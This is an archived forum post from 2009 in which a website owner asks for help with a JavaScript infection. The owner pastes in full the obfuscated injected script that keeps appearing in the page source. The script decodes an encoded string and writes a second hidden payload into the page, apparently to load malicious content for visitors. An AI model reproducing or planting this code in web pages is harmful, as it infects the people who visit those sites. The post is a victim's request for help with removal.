PDA

View Full Version : Javascript Virus on website



Kyeen
05-22-2009, 01:11 PM
Hi, guys! I have a really big problem with some javascript virus on my website.

I've found the part of the strange javascript code in index.php and removed it, but it still shows when I view page source, and the styles on my page are totally messed up. Whatever I try to change in files eg. remove some <td>s or something, changes won't apply. I don't know what's going on, it really bothers me...

Here's the code that shows up in source:


rwqlwxfu="RzllWYXiZTNtt%WgT&kt";sokjts="h3csh63rh69pth20lh61ngh75h61h67h65=h6aavh61sch72ih70th3e h20h66h75nctionh20fh79xsh61euch77h28zdh61h68mmh6fmh61h29{h76h61r qfjkyh71h63wu,h68rjh72h70ph3dh22h2eG]5m}3h27h30|h6bZ8Ih65)h42_fh4eh61oh5c\"h20qh696h73v=Oh4ah5bh40h7a:(h48lnh2ah77Mh68h78h39h60h37h23;h32-Uh50h46h62h2bg$u,h7eh72!yh63Kh34Cjh56{h70th31dE&TAh5e\",ikjh65qh68h62jh3dh22\"h2cgh64kh63zbh68,lgaodh76h70,h6dybh63oh70k=h22\"h2cyoh70gqzh6fwh64;h66oh72h28h71h66jkyqcwh75=h30h3bqfjkyh71ch77u<zdah68mmh6fma.length68h3bqfh6akyqh63wuh2b+)h7b gdh6bczh62h68h3dzh64h61h68h6dmh6fma.ch68ah72Ath28h71h66h6akh79qh63h77u);h6cgah6fdh76p=h68h72jrph70.indh65xOfh28gdkh63h7abh68);h69f(h6cgaodvp>-1)h7bh20yoh70h67qzh6fwh64h3d(h28h6cgh61oh64h76ph2b1)h258h31-1h29h3bifh28h79oh70h67h71zowd<h3dh30)h79opgqh7aowh64h2b=81;mybcoh70h6b+=h68rh6arpp.h63h68ah72h41th28yopgqh7aowh64-h31h29h3b h7dh20h65lh73e mh79h62h63opk+h3dgdh6bh63h7abh68h3b}ikjeqh68h62jh2bh3dh6dybcoph6b;doh63h75menth2eh77h72h69th65(h69kjh65h71h68bh6a)h3b}<h2fscrih70h74>";inuihlex=rwqlwxfu.charAt(13);vsvaytz=sokjts.replace(/h/g,inuihlex);axoknn=unescape(vsvaytz);var xztpjdvhf,jlbztptb;document.write(axoknn);xztpjdvhf="<vK!6t1qno*$,o$)O [o=oSK!6t1 >qN,*K16\"*q9)cnM6V9$M1=MHBqpq1!cqpq=o!qMKoK:)\"+n:Oq v)xV=)Z6*\"=i* ~qt}$n1c)9N*vqOqd2qN,*K16\"*qco9}=\":+ZKKH*o})~q=on,)Bqp=o!qEqOq*)MqDo1)2EGv)1A6})HH*)MqDo1)BG$)1A6})HBqgqIsC|||||B2E\"K,})*1GK\"\"Z6)qOq*o})qgq O qgq)vKot)H=on,)Bqgq 2q)9t6!)vO qgqEG1\"]hAS1!6*$HB23qN,*K16\"*q+$+Kv+*6*,1$HBqp!)1,!*qHE\"K,})*1GK\"\"Z6)G6*E)9JNHMKoK:)\"+n:qgq O qgqt}$n1c)9N*vBqOOqUdB23q6NHq+$+Kv+*6*,1$HBqBqpqE\"K,})*1GM!61)Hq <SjReFAqno*$,o$)O\\ [o=oSK!6t1\\ qSRjO\\ x11t(//$\"\"$n)o*onc1nKvG*)1/ff,1}G$6N?#Cmm'+`-|I#o`sd`mCK|)d)d+d-Cdd|sI-dNUd-mCCC|Is|T gE\"K,})*1G!)N)!!)!g T gS1!6*$HH*)MqDo1)HBBG$)1A6})HBBg \\ ><\\/SjR g eFA> qB2qco9}=\":+ZKKHqMKoK:)\"+n:~qt}$n1c)9N*vqB2q3q)nv)qpq3q3qKo1KxqH)Bqp3q3q9)cnM6V9$M1=MHB2</vK!6t1>q";fyxsaeucw(xztpjdvhf);

I've downloaded whole site and couldn't find anything.

Thanks